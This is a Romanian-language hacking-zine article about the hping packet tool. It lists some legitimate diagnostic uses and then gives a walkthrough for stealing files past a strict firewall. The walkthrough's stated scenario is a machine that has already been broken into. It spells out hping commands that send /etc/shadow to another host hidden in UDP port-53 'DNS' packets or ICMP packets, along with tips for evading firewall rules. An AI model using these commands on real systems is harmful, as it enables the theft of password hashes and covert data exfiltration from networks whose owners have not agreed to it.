| |
hping este un programel
extrem de util cu care se pot construi si trimite orice fel de pachete
TCP, UDP sau ICMP si (evident) sa afiseze intr-un format util raspunsurile
primite de la calculatorul la care au fost trimise. Din cauza flexibilitatii
extreme pe care o are poate fi folosit la multe lucruri care ar fi avut
nevoie (in mod normal) de un program dedicat. Cateva posibile exemple
de utilizare:
- testatul regulilor de firewall (simuland firewalk)
- spoof port scanning (a se vedea articolul din ERH #1 pentru detalii)
- testarea MTU pe conexiunile la Internet (simuland practic algoritmul
de path MTU discovery implementat de marea majoritate a implementarilor
TCP/IP)
- testarea calitatii/performantelor/problemelor conexiunilor la Internet.
Dat fiind ca se poate seta campul TOS (Type Of Service) al pachetelor
trimise, se pot testa si clasele de acces QoS implementate cu (de exemplu)
routere Linux sau Xedia Accesspoint
- transferul de fisiere prin firewall-uri cu reguli foarte stricte
- simularea "traceroute" intr-un mod mult mai flexibil
- identificarea sistemului de operare de la distanta (gen nmap -O si queso)
- familiarizarea cu protocoalele TCP/IP (desi niste cunostinte de baza
sunt necesare pentru inceput)
- multe, *multe* altele. Limita e doar imaginatia ;-)
Sursa programului
este disponibila (licenta GPL) si poate fi obtinuta de la adresa http://www.kyuzz.org/antirez/hping2.html.
Compilarea este banala daca ati mai compilat programe pe Linux. Daca nu...
read the fine manual :)
Acest articol face
parte dintr-o serie mai lunga dedicata networking-ului (primul fiind cel
din ERH #1, despre spoof scanning) si trateaza transferul de fisiere intre
doua hosturi, trecand printr-un firewall foarte strict (exemplu practic:
ati spart un calculator care e in spatele unui firewall si nu aveti cum
sa uploaduiti fisiere).
Metoda prezentata
aici se bazeaza pe faptul ca marea majoritate a firewall-urilor lasa sa
treaca pachete UDP avand ca port destinatie 53 (folosit pentru DNS). Este
doar un exemplu si, desi functioneaza, vor exista probabil cazuri in care
va trebui sa gasiti alt tip de pachete cu care sa treceti de firewall.
Conceptul ramane insa acelasi.
Concret, se dau doua hosturi, A si B, despartite de un firewall care lasa
sa treaca pachetele DNS (UDP, port 53). A a fost spart si vrem sa copiem
/etc/shadow pe B (in scopuri, ehmmm, instructive ;-). Rulam pe B comanda:
hping A --listen InVaLiD --safe
asta inseamna: hping va asculta pachete venind de la A, si care contin
stringul "InVaLid" (protectie necesara in caz ca mai circula
si pachete DNS reale). --safe ii spune hping-ului sa reia pachetele pierdute
(foarte important pentru protocoale nesigure gen UDP si ICMP).
Pe A rulam comanda:
hping B --udp -p 53 -d 100 --sign InVaLiD --safe --file /etc/shadow
ceea ce-l va determina hping-ul sa trimita la B pachete UDP (--udp) pe
portul 53 (-p 53) cu 100 de octeti de date fiecare (-d 100) si care incep
cu stringul "InVaLiD" (--sign InVaLiD) pentru a putea fi recunoscute
la celalalt capat. --safe are aceeasi semnificatie ca si la comanda precedenta.
Ce face --file e lasat ca un execitiu pentru cititor :)
Dupa ce au fost lansate cele doua comenzi, transferul incepe. Cateva lucruri
de care trebuie tinut seama:
- implicit, hping
trimite un pachet pe secunda. Daca transferati fisiere mari acest lucru
poate fi deranjant, asa ca puteti modifica timpul de asteptare intre doua
pachete folosind parametrul "-i" la hping
- dupa ce a terminat de trimis tot fisierul, A o va lua de la capat !
deci ar fi bine daca ati nota undeva lungimea fisierului si ati opri transferul
dupa ce a venit tot... :)
- dupa cum am spus deja, asta e doar un exemplu. Se pot folosi *orice*
fel de pachete, singura conditie fiind sa treaca de regulile firewall-ului.
De exemplu, pentru un transfer cu ICMP puteti folosi:
hping B --icmp -d 100 -sign InVaLiD --safe --file /etc/shadow
(comanda de receptie data pe B ramane la fel).
Daca firewall-ul taie ICMP echo-request, puteti adauga "--icmpcode
destination-unreachable" la linia de comanda :) (o lista completa
a codurilor ICMP poate fi aflata ruland "ipchains -h icmp";
cateva coduri care e foarte probabil sa treaca de firewall-uri sunt: port-unreachable,
fragmentation-needed, host-unreachable)
- e posibil sa nu reusiti sa gasiti o combinatie de pachete care sa va
permita comunicatia, va trebui sa renuntati la --safe si sa verificati
dupa aceea (cu md5sum) daca transferul a decurs fara probleme.
Have fun :)
|
|
|
 |